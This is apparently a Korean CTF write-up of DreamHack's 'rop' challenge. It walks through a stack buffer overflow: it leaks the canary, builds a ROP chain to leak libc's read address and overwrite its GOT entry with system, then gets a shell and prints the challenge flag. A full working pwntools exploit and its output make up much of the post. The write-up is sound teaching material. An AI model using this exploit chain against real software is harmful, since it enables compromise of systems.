rsp-∞
[DreamHack] rop 본문
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
rop.c의 코드이다. 카나리를 우회하고 ROP를 수행한다. ROP는 앞서 RTL의 풀이 중 언급되었던 리턴 가젯을 연결하여 사용하는 기법이다.
$ checksec rop
[*] '/home/chaehyeonkim/Downloads/c6973d96-75eb-4d5f-be44-682ee4e1ec52/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
보호 기법들을 점검해 보면, 역시 카나리와 NX가 적용되어 있다. RTL과 같이 PIE은 적용되어 있지 않기 때문에 코드 및 데이터 세그먼트 값은 고정되어 있음을 알 수 있다. 취약점은 RTL과 유사하게 버퍼 오버플로우이다. 그러나 차이점은 /bin/sh가 기록되는 코드가 존재하지 않아 RTL에서 사용했던 system을 호출하는 rdi=/bin/sh 형식의 코드를 작성할 수 없다는 것이다.
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400715 <+30>: mov ecx,0x0
0x000000000040071a <+35>: mov edx,0x2
0x000000000040071f <+40>: mov esi,0x0
0x0000000000400724 <+45>: mov rdi,rax
0x0000000000400727 <+48>: call 0x400600 <setvbuf@plt>
0x000000000040072c <+53>: mov rax,QWORD PTR [rip+0x20092d] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400733 <+60>: mov ecx,0x0
0x0000000000400738 <+65>: mov edx,0x2
0x000000000040073d <+70>: mov esi,0x0
0x0000000000400742 <+75>: mov rdi,rax
0x0000000000400745 <+78>: call 0x400600 <setvbuf@plt>
0x000000000040074a <+83>: mov edi,0x400874
0x000000000040074f <+88>: call 0x4005b0 <puts@plt>
0x0000000000400754 <+93>: mov edx,0x5
0x0000000000400759 <+98>: mov esi,0x400884
0x000000000040075e <+103>: mov edi,0x1
0x0000000000400763 <+108>: call 0x4005c0 <write@plt>
0x0000000000400768 <+113>: lea rax,[rbp-0x40]
0x000000000040076c <+117>: mov edx,0x100
0x0000000000400771 <+122>: mov rsi,rax
0x0000000000400774 <+125>: mov edi,0x0
0x0000000000400779 <+130>: call 0x4005f0 <read@plt>
0x000000000040077e <+135>: lea rax,[rbp-0x40]
0x0000000000400782 <+139>: mov rsi,rax
0x0000000000400785 <+142>: mov edi,0x40088a
0x000000000040078a <+147>: mov eax,0x0
0x000000000040078f <+152>: call 0x4005e0 <printf@plt>
0x0000000000400794 <+157>: mov edi,0x400893
0x0000000000400799 <+162>: call 0x4005b0 <puts@plt>
0x000000000040079e <+167>: mov edx,0x5
0x00000000004007a3 <+172>: mov esi,0x400884
0x00000000004007a8 <+177>: mov edi,0x1
0x00000000004007ad <+182>: call 0x4005c0 <write@plt>
0x00000000004007b2 <+187>: lea rax,[rbp-0x40]
0x00000000004007b6 <+191>: mov edx,0x100
0x00000000004007bb <+196>: mov rsi,rax
0x00000000004007be <+199>: mov edi,0x0
0x00000000004007c3 <+204>: call 0x4005f0 <read@plt>
0x00000000004007c8 <+209>: mov eax,0x0
0x00000000004007cd <+214>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007d1 <+218>: xor rcx,QWORD PTR fs:0x28
0x00000000004007da <+227>: je 0x4007e1 <main+234>
0x00000000004007dc <+229>: call 0x4005d0 <__stack_chk_fail@plt>
0x00000000004007e1 <+234>: leave
0x00000000004007e2 <+235>: ret
End of assembler dump.
이번에도 역시 비슷한 순서로 카나리의 값을 먼저 알아내기 위해 main을 디스어셈블하고 스택의 구조를 살펴보도록 하자. buf의 크기가 48바이트, 그 밑으로 RTL과 동일하게 dummy, 카나리, RBP, RET가 8바이트씩 스택을 구성하고 있다. 이전에 사용했던 카나리 우회 코드와 비슷하게 코드를 작성하면 아래와 같다.
$ python3 rop_canary.py
[+] Starting local process './rop': pid 3804
[*] '/home/chaehyeonkim/Downloads/c6973d96-75eb-4d5f-be44-682ee4e1ec52/rop'
[+] Canary: 0xd61cc29d455c5e00
[*] Stopped process './rop' (pid 3804)
카나리 값이 출력된 것을 볼 수 있다.
위에서 /bin/sh가 데이터 영역에 삽입되고 있지 않기 때문에 system 함수를 호출하는 기존의 코드를 작성할 수 없다고 했다. 그러므로 익스플로잇 코드에 system을 실행시키는 코드를 집어넣으려면 system 함수의 주소를 직접 알아내야 하는데, 여기서 주목할 점은 rop.c 코드에서 찾아볼 수 있는 printf, read, puts와 같은 함수들이 모두 system과 같은 라이브러리 libc에 저장이 되어 있다는 것이다. 해당 라이브러리 안에서 함수 간의 오프셋은 모두 똑같고 라이브러리 파일은 메모리에 전체 매핑되므로 위 함수들의 주소를 알면 system 함수의 주소 또한 알아낼 수 있다.
$ readelf -s libc.so.6 | grep " read@"
289: 0000000000114980 157 FUNC GLOBAL DEFAULT 15 read@@GLIBC_2.2.5
$ readelf -s libc.so.6 | grep " system@"
1481: 0000000000050d60 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
해당 체제에서 read 함수와 system 함수는 C 3C20 만큼의 거리를 가지는데, 실제로 위 명령어를 통해 두 주소를 빼 보면 C 3C20이 나온다.
이 문제에서는 데이터 영역에 /bin/sh가 없기 때문에 다른 파일에 존재하는 해당 문자열을 참조하여 사용할 수 있다. 드림핵에서 한 것처럼 버퍼에 그 문자열을 집어넣고 참조하자.
pwndbg> search /bin/sh
Searching for value: '/bin/sh'
libc.so.6 0x7ffff7dd8678 0x68732f6e69622f /* '/bin/sh' */
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
system 함수의 주소를 구할 때 우리가 오프셋을 구한 read 함수는 rdi, rsi, ret 세 개의 인자를 받는데, 그 값들은 ROPgadget으로 구한다. 그리고 GOT overwrite를 수행하는데, 여기서 GOT 엔트리 뒤에 /bin/sh를 붙여 쓰면 된다.
from pwn import *
p = remote('host3.dreamhack.games', 22426)
e = ELF('./rop')
libc = ELF('./libc.so.6')
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854
payload = b'A' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
payload = b'A' * 0x38 + p64(canary) + b'A' * 0x8
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 0x8)
payload += p64(ret) + p64(read_plt)
p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00' * 2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
p.send(p64(system) + b'/bin/sh\x00')
p.interactive()
익스플로잇 코드를 작성하고 실행시키면 셸을 획득하고 플래그를 출력할 수 있다.
$ python3 rop.py
[+] Opening connection to host3.dreamhack.games on port 11743: Done
[*] '/home/chaehyeonkim/Downloads/c6973d96-75eb-4d5f-be44-682ee4e1ec52/rop'
[*] Switching to interactive mode
$ ls
flag
rop
run.sh
$ cat flag
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}
'Write-ups > system' 카테고리의 다른 글
[DreamHack] Return to Library (0) | 2024.05.25 |
---|---|
[DreamHack] ssp_001 (0) | 2024.05.18 |
[DreamHack] Mitigation : Stack Canary - 카나리 생성 과정 (0) | 2024.05.18 |
[DreamHack] Mitigation : Stack Canary - canary.c 실습 동적 분석 (0) | 2024.05.18 |
[Bomb Lab] Phase_4 (0) | 2024.05.12 |